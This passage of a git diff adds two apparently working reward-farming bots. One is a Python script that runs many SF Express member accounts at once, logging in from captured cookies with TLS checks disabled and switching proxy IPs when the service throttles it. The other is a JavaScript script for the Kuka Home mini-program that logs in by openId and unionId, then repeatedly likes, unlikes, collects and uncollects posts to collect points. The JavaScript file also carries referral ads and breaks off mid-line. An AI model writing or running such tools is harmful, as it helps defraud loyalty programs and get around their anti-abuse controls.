self._format_msg(self.ICONS['user'], f"账号{account_index}: 【{mobile}】登录成功") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def points_info(self, points: int, prefix: str = "当前积分"): + """积分信息""" + msg = self._format_msg(self.ICONS['money'], f"{prefix}: 【{points}】") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def reset_account_msg(self): + """重置当前账号消息""" + self.current_account_msg = [] + + def get_all_messages(self) -> str: + """获取所有消息""" + return '\n'.join(self.messages) + + def get_account_messages(self) -> str: + """获取当前账号消息""" + return '\n'.join(self.current_account_msg) + + +# ==================== 代理管理器 ==================== +class ProxyManager: + """代理管理器""" + + def __init__(self, api_url: str): + self.api_url = api_url + self.logger = Logger() + + def get_proxy(self) -> Optional[Dict[str, str]]: + """获取代理 + 返回格式:{'http': 'http://ip:port', 'https': 'http://ip:port'} + """ + try: + if not self.api_url: + print('⚠️ 未配置代理API地址,将不使用代理') + return None + + response = requests.get(self.api_url, timeout=10) + if response.status_code == 200: + proxy_text = response.text.strip() + if ':' in proxy_text: + # 构建代理URL + if proxy_text.startswith('http://') or proxy_text.startswith('https://'): + proxy = proxy_text + else: + proxy = f'http://{proxy_text}' + + # 隐藏认证信息用于显示(如果有的话) + display_proxy = proxy + if '@' in proxy: + # 格式: http://user:pass@ip:port + parts = proxy.split('@') + if len(parts) == 2: + display_proxy = f"http://***:***@{parts[1]}" + + print(f"✅ 成功获取代理: {display_proxy}") + return {'http': proxy, 'https': proxy} + + print(f'❌ 获取代理失败: {response.text}') + return None + except Exception as e: + print(f'❌ 获取代理异常: {str(e)}') + return None + + +# ==================== HTTP客户端 ==================== +class SFHttpClient: + """顺丰HTTP客户端""" + + def __init__(self, config: Config, proxy_manager: ProxyManager): + self.config = config + self.proxy_manager = proxy_manager + self.session = requests.Session() + self.session.verify = False + + # 设置代理 + proxy = self.proxy_manager.get_proxy() + if proxy: + self.session.proxies = proxy + + # 默认请求头 + self.headers = { + 'Host': 'mcs-mimp-web.sf-express.com', + 'upgrade-insecure-requests': '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090551) XWEB/6945 Flue', + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'sec-fetch-site': 'none', + 'sec-fetch-mode': 'navigate', + 'sec-fetch-user': '?1', + 'sec-fetch-dest': 'document', + 'accept-language': 'zh-CN,zh', + 'platform': 'MINI_PROGRAM', + } + + def _generate_sign(self) -> Dict[str, str]: + """生成API签名""" + timestamp = str(int(round(time.time() * 1000))) + data = f'token={self.config.TOKEN}×tamp={timestamp}&sysCode={self.config.SYS_CODE}' + signature = hashlib.md5(data.encode()).hexdigest() + + return { + 'sysCode': self.config.SYS_CODE, + 'timestamp': timestamp, + 'signature': signature + } + + def request( + self, + url: str, + method: str = 'POST', + data: Optional[Dict] = None, + max_retries: int = REQUEST_RETRY_COUNT + ) -> Optional[Dict[str, Any]]: + """发送HTTP请求,带双层重试机制 + + Args: + url: 请求URL + method: 请求方法 GET/POST + data: 请求数据 + max_retries: 最大重试次数 + + Returns: + 响应JSON数据或None + """ + # 更新签名 + sign_data = self._generate_sign() + self.headers.update(sign_data) + + retry_count = 0 + proxy_retry_count = 0 + + while proxy_retry_count < MAX_PROXY_RETRIES: + try: + # 如果请求重试次数达到2次,尝试切换代理 + if retry_count >= 2: + print('请求已失败2次,尝试切换代理IP') + new_proxy = self.proxy_manager.get_proxy() + if new_proxy: + self.session.proxies = new_proxy + else: + print('⚠️ 切换代理失败,无可用代理') + retry_count = 0 # 重置请求重试计数 + + try: + if method.upper() == 'GET': + response = self.session.get(url, headers=self.headers, timeout=PROXY_TIMEOUT) + elif method.upper() == 'POST': + response = self.session.post(url, headers=self.headers, json=data or {}, timeout=PROXY_TIMEOUT) + else: + raise ValueError(f'不支持的请求方法: {method}') + + # 检查响应状态码 + response.raise_for_status() + + try: + res = response.json() + if res is None: + print(f'响应内容为空,正在重试 ({retry_count + 1}/{max_retries})') + retry_count += 1 + time.sleep(2) + continue + return res + except (json.JSONDecodeError, ValueError) as e: + print(f'JSON解析失败: {str(e)}, 响应内容: {response.text[:200]}') + retry_count += 1 + if retry_count < max_retries: + print(f'正在进行第{retry_count + 1}次重试...') + time.sleep(2) + continue + return None + + except requests.exceptions.RequestException as e: + retry_count += 1 + print(f'请求失败,正在重试 ({retry_count}/{max_retries}): {str(e)}') + # 如果是代理错误或SSL错误,增加代理重试计数 + if 'ProxyError' in str(e) or 'SSLError' in str(e): + proxy_retry_count += 1 + print(f'代理连接失败,尝试切换代理 ({proxy_retry_count}/{MAX_PROXY_RETRIES})') + if proxy_retry_count < MAX_PROXY_RETRIES: + new_proxy = self.proxy_manager.get_proxy() + if new_proxy: + self.session.proxies = new_proxy + time.sleep(2) + continue + + except Exception as e: + print(f'请求发生异常: {str(e)}') + proxy_retry_count += 1 + if proxy_retry_count < MAX_PROXY_RETRIES: + print(f'尝试切换代理 ({proxy_retry_count}/{MAX_PROXY_RETRIES})') + time.sleep(2) + continue + else: + print('达到最大代理重试次数,返回None') + return None + + print('请求最终失败,返回None') + return None + + def login(self, url: str, timeout: int = PROXY_TIMEOUT) -> tuple[bool, str, str]: + """ + 登录(兼容URL和CK格式) + + Args: + url: 登录URL 或 CK字符串(sessionId=xxx;_login_mobile_=xxx;_login_user_id_=xxx) + timeout: 超时时间(秒) + + Returns: + tuple: (是否成功, user_id, 手机号) + """ + try: + decoded_input = unquote(url) + if decoded_input.startswith('sessionId=') or '_login_mobile_=' in decoded_input: + cookie_dict = {} + for item in decoded_input.split(';'): + item = item.strip() + if '=' in item: + k, v = item.split('=', 1) + cookie_dict[k] = v + for k, v in cookie_dict.items(): + self.session.cookies.set(k, v, domain='mcs-mimp-web.sf-express.com') + user_id = cookie_dict.get('_login_user_id_', '') + phone = cookie_dict.get('_login_mobile_', '') + if phone: + return True, user_id, phone + else: + return False, '', '' + else: + decoded_url = unquote(url) + self.session.get(decoded_url, headers=self.headers, timeout=timeout) + cookies = self.session.cookies.get_dict() + user_id = cookies.get('_login_user_id_', '') + phone = cookies.get('_login_mobile_', '') + if phone: + return True, user_id, phone + else: + return False, '', '' + except Exception as e: + print(f'登录异常: {str(e)}') + return False, '', '' + + +# ==================== 任务执行器 ==================== +class TaskExecutor: + """任务执行器""" + + def __init__( + self, + http_client: SFHttpClient, + logger: Logger, + config: Config, + user_id: str + ): + self.http = http_client + self.logger = logger + self.config = config + self.user_id = user_id + self.total_points = 0 + + # 任务相关属性 + self.taskId = "" + self.taskCode = "" + self.strategyId = "" + self.title = "" + + @staticmethod + def generate_device_id(characters: str = 'abcdef0123456789') -> str: + """生成设备ID""" + result = '' + for char in 'xxxxxxxx-xxxx-xxxx': + if char == 'x': + result += random.choice(characters) + else: + result += char + return result + + def _extract_task_id_from_url(self, url: str) -> str: + """从URL中提取taskId""" + try: + from urllib.parse import parse_qs, urlparse, unquote + import json + + # 处理_ug_view_param参数 + parsed = urlparse(url) + params = parse_qs(parsed.query) + + if '_ug_view_param' in params: + ug_params = json.loads(unquote(params['_ug_view_param'][0])) + if 'taskId' in ug_params: + return str(ug_params['taskId']) # 确保返回字符串类型 + + # 如果URL是JSON格式的,尝试解析 + if url.startswith('com.sf-express://'): + json_str = url.split('_ug_view_param=')[1] + ug_params = json.loads(unquote(json_str)) + if 'taskId' in ug_params: + return str(ug_params['taskId']) # 确保返回字符串类型 + + except Exception as e: + self.logger.warning(f'从URL提取taskId失败: {e}') + + return '' + + def _set_task_attrs(self, task: Dict) -> None: + """设置任务属性""" + self.taskId = str(task.get('taskId', '')) # 确保是字符串类型 + self.taskCode = str(task.get('taskCode', '')) # 确保是字符串类型 + self.strategyId = int(task.get('strategyId', 0)) # 确保是整数类型 + self.title = str(task.get('title', '未知任务')) + self.point = int(task.get('point', 0)) # 确保是整数类型 + + # 如果taskCode为空,尝试从buttonRedirect中提取 + if not self.taskCode and 'buttonRedirect' in task: + extracted_task_id = self._extract_task_id_from_url(task['buttonRedirect']) + if extracted_task_id: + self.taskCode = extracted_task_id + self.logger.info(f'从buttonRedirect中提取到taskId: {self.taskCode}') + + def app_sign_in(self) -> tuple[bool, str]: + """APP每日签到(使用getUnFetchPointAndDiscount接口触发签到+领取) + + Returns: + tuple[bool, str]: (是否成功, 错误信息) + """ + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~getUnFetchPointAndDiscount' + data = {} + + # 保存原有的platform头 + original_platform = self.http.headers.get('platform', 'MINI_PROGRAM') + + # 临时切换为APP平台 + self.http.headers['platform'] = 'SFAPP' + + try: + response = self.http.request(url, data=data) + if response and response.get('success'): + obj = response.get('obj', []) + + # 响应是一个数组,包含待领取的奖励 + if obj and isinstance(obj, list) and len(obj) > 0: + total_points = 0 + reward_names = [] + for item in obj: + packet_name = item.get('packetName', '未知奖励') + detail_value = item.get('detailValue', '0') + reward_names.append(packet_name) + try: + total_points += int(detail_value) + except: + pass + + self.logger.success(f'[APP签到] 签到成功,获得【{", ".join(reward_names)}】') + else: + self.logger.info(f'[APP签到] 今日已签到或无可领取奖励') + + return True, '' + else: + error_msg = response.get('errorMessage', '未知错误') if response else '请求失败' + + # 如果返回"没有待领取礼包",等待1秒后再次调用接口 + if '没有待领取礼包' in error_msg: + self.logger.info(f'[APP签到] 检测到需要二次领取,等待1秒后重试...') + time.sleep(1) + + # 再次调用getUnFetchPointAndDiscount接口 + response2 = self.http.request(url, data=data) + if response2 and response2.get('success'): + obj2 = response2.get('obj', []) + + if obj2 and isinstance(obj2, list) and len(obj2) > 0: + total_points = 0 + reward_names = [] + for item in obj2: + packet_name = item.get('packetName', '未知奖励') + detail_value = item.get('detailValue', '0') + reward_names.append(packet_name) + try: + total_points += int(detail_value) + except: + pass + + self.logger.success(f'[APP签到] 二次领取成功,获得【{", ".join(reward_names)}】') + else: + self.logger.info(f'[APP签到] 二次领取完成,但无可领取奖励') + + return True, '' + else: + error_msg2 = response2.get('errorMessage', '未知错误') if response2 else '请求失败' + self.logger.error(f'[APP签到] 二次领取失败: {error_msg2}') + return False, error_msg2 + else: + self.logger.error(f'[APP签到] 失败: {error_msg}') + return False, error_msg + finally: + # 恢复原有的platform头 + self.http.headers['platform'] = original_platform + + def sign_in(self) -> tuple[bool, str]: + """小程序每日签到 + + Returns: + tuple[bool, str]: (是否成功, 错误信息) + """ + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskSignPlusService~automaticSignFetchPackage' + data = {"comeFrom": "vioin", "channelFrom": "WEIXIN"} + + response = self.http.request(url, data=data) + if response and response.get('success'): + count_day = response.get('obj', {}).get('countDay', 0) + packet_list = response.get('obj', {}).get('integralTaskSignPackageVOList', []) + + if packet_list: + packet_name = packet_list[0].get('packetName', '未知奖励') + self.logger.success(f'签到成功,获得【{packet_name}】,本周累计签到【{count_day + 1}】天') + else: + self.logger.info(f'今日已签到,本周累计签到【{count_day + 1}】天') + return True, '' + else: + error_msg = response.get('errorMessage', '未知错误') if response else '请求失败' + self.logger.error(f'签到失败: {error_msg}') + return False, error_msg + + def new_sign_in(self) -> tuple[bool, str]: + """新签到(integralSignV2Service) + + Returns: + tuple[bool, str]: (是否成功, 错误信息) + """ + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralSignV2Service~sign' + data = {} + + original_platform = self.http.headers.get('platform', 'MINI_PROGRAM') + self.http.headers['platform'] = 'SFAPP' + + try: + response = self.http.request(url, data=data) + if response and response.get('success'): + obj = response.get('obj', {}) + signed = obj.get('signed', False) + day_count = obj.get('dayCount', 0) + total_count = obj.get('totalCount', 0) + award = obj.get('award', {}) + award_type = obj.get('awardType', '') + award_num = obj.get('awardNum', 0) + + if signed and award: + gift_bag_name = award.get('giftBagName', '未知奖励') + self.logger.success(f'[新签到] 签到成功,连续第{day_count}天,获得【{gift_bag_name}】') + elif signed: + self.logger.info(f'[新签到] 今日已签到,连续第{day_count}天') + else: + self.logger.info(f'[新签到] 签到完成') + + return True, '' + else: + error_msg = response.get('errorMessage', '未知错误') if response else '请求失败' + self.logger.error(f'[新签到] 失败: {error_msg}') + return False, error_msg + finally: + self.http.headers['platform'] = original_platform + + def get_task_list(self) -> List[Dict]: + """获取任务列表""" + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~queryPointTaskAndSignFromES' + + all_tasks = [] + task_codes_seen = set() + + for channel_type in ['1', '2', '3', '4','01','02','03','04']: + data = { + 'channelType': channel_type, + 'deviceId': self.generate_device_id(), + } + + response = self.http.request(url, data=data) + + if response and response.get('success') and response.get('obj'): + # 只在第一次请求时获取总积分 + if channel_type == '1': + self.total_points = response['obj'].get('totalPoint', 0) + + tasks = response['obj'].get('taskTitleLevels', []) + + # 去重添加任务 + for task in tasks: + task_code = task.get('taskCode') + task_title = task.get('title', '未知任务') + + # 尝试提取taskId + if 'buttonRedirect' in task: + extracted_id = self._extract_task_id_from_url(task['buttonRedirect']) + if extracted_id and not task_code: + task_code = extracted_id + task['taskCode'] = extracted_id + + # 如果taskCode为空,但能从buttonRedirect中提取到taskId,则使用提取的taskId + if not task_code and 'buttonRedirect' in task: + extracted_id = self._extract_task_id_from_url(task['buttonRedirect']) + if extracted_id: + task['taskCode'] = extracted_id + task_code = extracted_id + + # 如果taskCode仍然为空,则跳过 + if not task_code: + continue + + # 检查是否已存在相同taskCode的任务 + if task_code not in task_codes_seen: + task_codes_seen.add(task_code) + all_tasks.append(task) + else: + error_msg = response.get('errorMessage', '未知错误') if response else '请求失败' + self.logger.warning(f'获取 channelType={channel_type} 的任务失败: {error_msg}') + + return all_tasks + + def execute_task(self) -> bool: + """执行单个任务""" + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + data = {'taskCode': self.taskCode} + + response = self.http.request(url, data=data) + if response and response.get('success'): + return True + return False + + def _update_points(self): + """更新积分显示""" + tasks = self.get_task_list() + if tasks: + self.logger.points_info(self.total_points, "当前积分") + + def receive_task_reward(self) -> bool: + """领取任务奖励""" + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~integralTaskStrategyService~fetchIntegral' + data = { + "strategyId": self.strategyId, + "taskId": self.taskId, + "taskCode": self.taskCode, + "deviceId": self.generate_device_id() + } + + response = self.http.request(url, data=data) + if response: + if response.get('success'): + self.logger.success(f'成功领取任务奖励: {self.title}') + return True + return False + + def get_welfare_list(self) -> List[Dict]: + """获取生活特权列表""" + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~mallGoodsLifeService~list' + data = { + "memGrade": 3, + "categoryCode": "SHTQ", + "showCode": "SHTQWNTJ" + } + + response = self.http.request(url, data=data) + if response and response.get('success'): + obj_list = response.get('obj', []) + # 收集所有可领取的特权 + welfare_list = [] + for module in obj_list: + goods_list = module.get('goodsList', []) + for goods in goods_list: + # exchangeStatus=1 表示可以领取 + if goods.get('exchangeStatus') == 1: + welfare_list.append({ + 'goodsId': goods.get('goodsId'), + 'goodsNo': goods.get('goodsNo'), + 'goodsName': goods.get('goodsName'), + 'showName': goods.get('showName', ''), + 'id': goods.get('id') + }) + return welfare_list + return [] + + def receive_welfare(self, goods_no: str, goods_name: str, task_code: str) -> bool: + """领取生活特权""" + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberGoods~pointMallService~createOrder' + data = { + "from": "Point_Mall", + "orderSource": "POINT_MALL_EXCHANGE", + "goodsNo": goods_no, + "quantity": 1, + "taskCode": task_code + } + + response = self.http.request(url, data=data) + if response and response.get('success'): + order_no = response.get('obj', {}).get('orderNo', '') + self.logger.success(f'成功领取生活特权: {goods_name} (订单号: {order_no})') + return True + else: + error_msg = response.get('errorMessage', '未知错误') if response else '请求失败' + self.logger.error(f'领取生活特权失败: {goods_name} - {error_msg}') + return False + + def handle_welfare_task(self, task_title: str) -> bool: + """处理领取生活特权任务""" + self.logger.info('正在获取生活特权列表...') + + welfare_list = self.get_welfare_list() + if not welfare_list: + self.logger.warning('没有可领取的生活特权') + return False + + self.logger.info(f'找到 {len(welfare_list)} 个可领取的生活特权') + + # 尝试领取第一个可用的特权 + for welfare in welfare_list: + goods_no = welfare.get('goodsNo') + goods_name = welfare.get('goodsName') + show_name = welfare.get('showName') + + if not goods_no: + continue + + display_name = f"{show_name} - {goods_name}" if show_name else goods_name + + # 使用任务的 taskCode + if self.receive_welfare(goods_no, display_name, self.taskCode): + return True + + # 如果领取失败,等待一下再尝试下一个 + time.sleep(1) + + return False + + def run_all_tasks(self) -> tuple[int, int]: + """执行所有任务 + + Returns: + tuple: (执行前积分, 执行后积分) + """ + print('-'*50) + + # 只在这里显示一次任务列表更新信息 + self.logger.info('正在获取任务列表...') + tasks = self.get_task_list() + if not tasks: + self.logger.error('获取任务列表失败') + return (0, 0) + + points_before = self.total_points + self.logger.points_info(points_before, "执行前积分") + + for task in tasks: + task_title = task.get('title', '未知任务') + task_status = task.get('status') + + # 状态3表示已完成 + if task_status == 3: + self.logger.success(f'{task_title} - 已完成') + continue + + # 跳过特定任务 + if task_title in self.config.SKIP_TASKS: + self.logger.task_skip(task_title) + continue + + # 提取任务属性 + self._set_task_attrs(task) + + # 检查是否成功提取 taskCode + if not self.taskCode: + # 如果taskCode为空,尝试从buttonRedirect中提取 + if 'buttonRedirect' in task: + self.logger.info(f'尝试从buttonRedirect中提取taskCode: {task_title}') + extracted_task_id = self._extract_task_id_from_url(task['buttonRedirect']) + if extracted_task_id: + self.taskCode = extracted_task_id + self.logger.info(f'成功从buttonRedirect中提取到taskCode: {self.taskCode}') + else: + self.logger.warning(f'{task_title} - 无法从buttonRedirect提取taskCode,跳过') + continue + else: + self.logger.warning(f'{task_title} - 无法提取taskCode,跳过') + continue + + # 发现任务 + self.logger.task_found(task_title, task_status) + + # 特殊任务处理 - 需要在状态判断之前处理 + if '领任意生活特权福利' in task_title: + # 先处理生活特权领取 + if self.handle_welfare_task(task_title): + time.sleep(2) + # 然后执行任务提交 + if self.execute_task(): + self.logger.task_complete(task_title) + time.sleep(2) + # 领取奖励 + if self.receive_task_reward(): + self.logger.reward_get(task_title) + self._update_points() + else: + self.logger.warning(f'任务执行失败: {task_title}') + else: + self.logger.warning(f'{task_title} - 无法完成,跳过') + time.sleep(3) + continue + + # 状态1表示需要先执行任务 + if task_status == 1: + # 特殊处理连签7天任务 + if '连签7天' in task_title and 'process' in task: + current, total = map(int, task['process'].split('/')) + if current < total: + self.logger.info(f'【{task_title}】进度: {task["process"]},还需{total - current}天') + continue + + if self.execute_task(): + self.logger.task_complete(task_title) + time.sleep(2) + # 执行成功后,将状态更新为2(可领取奖励) + task_status = 2 + else: + self.logger.warning(f'任务执行失败: {task_title}') + continue + + # 状态2表示可领取奖励 + if task_status == 2: + # 先尝试直接领取奖励 + if self.receive_task_reward(): + self.logger.reward_get(task_title) + # 更新积分 + self._update_points() + continue + + # 如果直接领取失败,尝试先执行任务再领取 + if self.execute_task(): + self.logger.task_complete(task_title) + time.sleep(2) + # 再次尝试领取奖励 + if self.receive_task_reward(): + self.logger.reward_get(task_title) + self._update_points() + else: + self.logger.warning(f'任务执行失败: {task_title}') + continue + + time.sleep(3) + + # 获取最新积分 + tasks = self.get_task_list() + points_after = self.total_points if tasks else points_before + if tasks: + self.logger.points_info(points_after, "执行后积分") + + return (points_before, points_after) + + +# ==================== 账号管理器 ==================== +class AccountManager: + """账号管理器""" + + def __init__(self, account_url: str, account_index: int, config: Config): + self.account_url = account_url + self.account_index = account_index + 1 + self.config = config + self.logger = Logger() + self.proxy_manager = ProxyManager(config.PROXY_API_URL) + + # 登录重试机制(参考顺丰代理.py的实现) + self.login_success = False + self.user_id = None + self.phone = None + self.http_client = None + + retry_count = 0 + while retry_count < MAX_PROXY_RETRIES and not self.login_success: + try: + # 每次重试都重新获取代理和创建HTTP客户端 + self.http_client = SFHttpClient(config, self.proxy_manager) + + # 尝试登录(带超时) + success, self.user_id, self.phone = self.http_client.login(account_url) + + if success: + masked_phone = self.phone[:3] + "*" * 4 + self.phone[7:] + self.logger.user_info(self.account_index, masked_phone) + self.login_success = True + break + else: + if retry_count < MAX_PROXY_RETRIES - 1: + print(f'账号{self.account_index} 登录失败,尝试重新获取代理 ({retry_count + 1}/{MAX_PROXY_RETRIES})') + time.sleep(2) + except Exception as e: + print(f'账号{self.account_index} 登录异常: {str(e)[:100]}') + + retry_count += 1 + + # 如果所有代理重试都失败,记录错误 + if not self.login_success: + self.logger.error(f'账号{self.account_index} 登录失败,已重试{MAX_PROXY_RETRIES}次,所有代理均不可用') + + def run(self) -> Dict[str, Any]: + """运行账号任务 + + Returns: + Dict: 包含账号统计信息的字典 + """ + if not self.login_success: + return { + 'success': False, + 'phone': '', + 'points_before': 0, + 'points_after': 0, + 'points_earned': 0 + } + + # 随机延迟 + wait_time = random.randint(1000, 3000) / 1000.0 + time.sleep(wait_time) + + # 初始化任务执行器 + executor = TaskExecutor(self.http_client, self.logger, self.config, self.user_id) + + # 先执行APP签到 + app_sign_success, app_error_msg = executor.app_sign_in() + time.sleep(1) + + # 执行新签到 + new_sign_success, new_sign_error = executor.new_sign_in() + time.sleep(1) + + # 再执行小程序签到 + sign_success, error_msg = executor.sign_in() + + # 如果签到失败且错误信息包含“活动太火爆”,尝试重新登录 + if not sign_success and '活动太火爆' in error_msg: + max_retries = 3 + for retry in range(max_retries): + self.logger.warning(f'签到失败(代理IP问题),{2}秒后重新获取代理并重试(第{retry + 1}次)...') + time.sleep(2) + + try: + # 重新创建HTTP客户端(会自动获取新代理) + self.http_client = SFHttpClient(self.config, self.proxy_manager) + + # 重新登录 + success, self.user_id, self.phone = self.http_client.login(self.account_url) + + if success: + # 更新执行器的HTTP客户端 + executor.http = self.http_client + executor.user_id = self.user_id + + # 重试签到 + sign_success, error_msg = executor.sign_in() + + if sign_success: + self.logger.success('重新登录后签到成功') + break + elif '活动太火爆' not in error_msg: + # 如果不是代理问题,则不再重试 + break + else: + if retry == max_retries - 1: + self.logger.error(f'重新登录失败,已重试{max_retries}次') + except Exception as e: + if retry == max_retries - 1: + self.logger.error(f'重新登录异常: {str(e)[:100]},已重试{max_retries}次') + + # 执行其他任务 + points_before, points_after = executor.run_all_tasks() + points_earned = points_after - points_before + + # 返回统计信息 + return { + 'success': True, + 'phone': self.phone, + 'points_before': points_before, + 'points_after': points_after, + 'points_earned': points_earned + } + + +# ==================== 单账号执行函数 ==================== +def run_single_account(account_info: str, index: int, config: Config) -> Dict[str, Any]: + """ + 执行单个账号的任务(线程安全) + + Args: + account_info: 账号信息 + index: 账号索引 + config: 配置对象 + + Returns: + Dict: 包含账号统计信息的字典 + """ + try: + with print_lock: + print(f"🚀 开始执行账号{index + 1}") + + account = AccountManager(account_info, index, config) + result = account.run() + + if result['success']: + with print_lock: + print(f"✅ 账号{index + 1}执行完成") + else: + with print_lock: + print(f"❌ 账号{index + 1}执行失败") + + result['index'] = index + return result + except Exception as e: + error_msg = f"账号{index + 1}执行异常: {str(e)}" + with print_lock: + print(f"❌ {error_msg}") + return { + 'index': index, + 'success': False, + 'phone': '', + 'points_before': 0, + 'points_after': 0, + 'points_earned': 0, + 'error': error_msg + } + + +# ==================== 主程序 ==================== +def main(): + """主函数""" + config = Config() + + env_value = os.getenv(config.ENV_NAME) + if not env_value: + print(f"❌ 未找到环境变量 {config.ENV_NAME},请检查配置") + return + + account_urls = [url.strip() for url in env_value.split('&') if url.strip()] + if not account_urls: + print(f"❌ 环境变量 {config.ENV_NAME} 为空或格式错误") + return + + # 随机打乱账号顺序 + random.shuffle(account_urls) + print(f"🔀 已随机打乱账号执行顺序") + + print("=" * 50) + print(f"🎉 {config.APP_NAME} v{config.VERSION}") + print(f"👨‍💻 作者: 爱学习的呆子") + print(f"📱 共获取到 {len(account_urls)} 个账号") + print(f"⚙️ 并发数量: {CONCURRENT_NUM}") + print(f"⏰ 执行时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") + print("=" * 50) + + # 收集所有账号的统计信息 + all_results = [] + + if CONCURRENT_NUM <= 1: + # 串行执行模式 + print("🔄 使用串行模式执行...") + for index, account_url in enumerate(account_urls): + account = AccountManager(account_url, index, config) + result = account.run() + result['index'] = index + all_results.append(result) + + if index < len(account_urls) - 1: + print("=" * 50) + print(f"⏳ 等待 2 秒后执行下一个账号...") + time.sleep(2) + else: + # 并发执行模式 + print(f"🔄 使用并发模式执行,并发数: {CONCURRENT_NUM}") + + # 使用线程池执行 + with ThreadPoolExecutor(max_workers=CONCURRENT_NUM) as executor: + # 提交所有任务 + future_to_index = { + executor.submit(run_single_account, account_url, index, config): index + for index, account_url in enumerate(account_urls) + } + + # 等待任务完成 + for future in as_completed(future_to_index): + result = future.result() + all_results.append(result) + + # 按索引排序结果 + all_results.sort(key=lambda x: x['index']) + + # 统计成功和失败数量 + success_count = sum(1 for r in all_results if r['success']) + fail_count = len(all_results) - success_count + total_earned = sum(r['points_earned'] for r in all_results if r['success']) + + # 显示汇总统计表格 + print(f"\n" + "=" * 80) + print(f"📊 积分统计汇总") + print("=" * 80) + print(f"{'序号':<6} {'手机号':<15} {'今日获得积分':<15} {'总积分':<15} {'状态':<10}") + print("-" * 80) + + for result in all_results: + index = result['index'] + 1 + phone = result['phone'][:3] + "****" + result['phone'][7:] if result['phone'] else "未登录" + earned = result['points_earned'] + total = result['points_after'] + status = "✅成功" if result['success'] else "❌失败" + + print(f"{index:<6} {phone:<15} {earned:<15} {total:<15} {status:<10}") + + print("-" * 80) + print(f"{'汇总':<6} {'账号总数: ' + str(len(all_results)):<15} {'今日总获得: ' + str(total_earned):<15} {'':<15} {'成功: ' + str(success_count):<10}") + print("=" * 80) + + print("\n🎊 所有账号任务执行完成!") + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js b/脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js new file mode 100644 index 0000000..b29ab18 --- /dev/null +++ b/脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js @@ -0,0 +1,248 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js +// # Repo: jdqlscript/toulu +// # Path: 顾家家居.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: a31d0967043c017443f6229e1164b3ba3392d596b50c1fc62c8b811ac33725c8 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron "19 9,17 * * *" GJJJ.js + * export GJJJ='[{"id": "1", "openId": "1", "unionId": "1"},{"id": "2", "openId": "2", "unionId": "2"}]' + 顾家家居会员俱乐部每日签到,部分任务 +使用方法:进入微信小程序 获取token + + 有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + +长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + */ +const $ = new Env('顾家家居') +const GJJJ = ($.isNode() ? JSON.parse(process.env.GJJJ) : $.getjson("GJJJ")) || []; +let token = '' +let memberId = '' +let notice = '' +!(async () => { + if (typeof $request != "undefined") { + await getCookie(); + } else { + await main(); + } +})().catch((e) => {$.log(e)}).finally(() => {$.done({});}); + +async function main() { + console.log('\n频道:https://pd.qq.com/s/btv4bw7av\nTL库:https://github.com/3288588344/toulu.git\n免费高速流量卡推荐:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709\n') + for (const item of GJJJ) { + id = item.id; + openId = item.openId; + unionId = item.unionId; + token = '' + console.log(`用户:${id}开始任务`) + let login = await commonPost('/club-server/member/automaticLogin',{"identityType":"mobile","identityValue":id,"type2":"wechat-unionid","value2":"","source":"顾家小程序","contentName":"","openid":openId,"unionid":unionId}) + if (login.status === 200) { + console.log('登录成功') + token = login.data.AccessToken + memberId = login.data.membership.id + } else { + console.log(login.msg) + continue + } + console.log('开始签到') + let sign = await commonPost('/integral-server/scenePoint/scene/point',{"scene":"sign","memberId":memberId,"brandCode":"K001"}) + if (sign.code == 0) { + console.log(`签到成功,获得:${sign.data}积分`) + } else { + console.log(sign.message) + } + let articleList = await commonPost('/club-server/applet/waterfall/newWaterfall',{"pageNum":1,"pageSize":6,"source":1}) + let index = Math.floor(Math.random() * articleList.data.length); + console.log(`文章:${articleList.data[index].title}`) + let articleId = articleList.data[index].id + let like = await commonPost('/club-server/front/postOrder/like',{"id":articleId}) + let likeSendPoint = await commonPost('/club-server/front/member/likeSendPoint',{"postOrderId":articleId,"triggerType":1,"content":"点赞"}) + console.log('点赞:' + likeSendPoint.message) + let unLike = await commonPost('/club-server/front/postOrder/like',{"id":articleId}) + console.log('取消点赞:' + unLike.message) + let collect = await commonPost('/club-server/front/postOrder/collect',{"id":articleId}) + let collectSendPoint = await commonPost('/club-server/front/member/likeSendPoint',{"postOrderId":articleId,"triggerType":2,"content":"收藏"}) + console.log('收藏:' + collectSendPoint.message) + let uncCollect = await commonPost('/club-server/front/postOrder/collect',{"id":articleId}) + console.log('取消收藏:' + 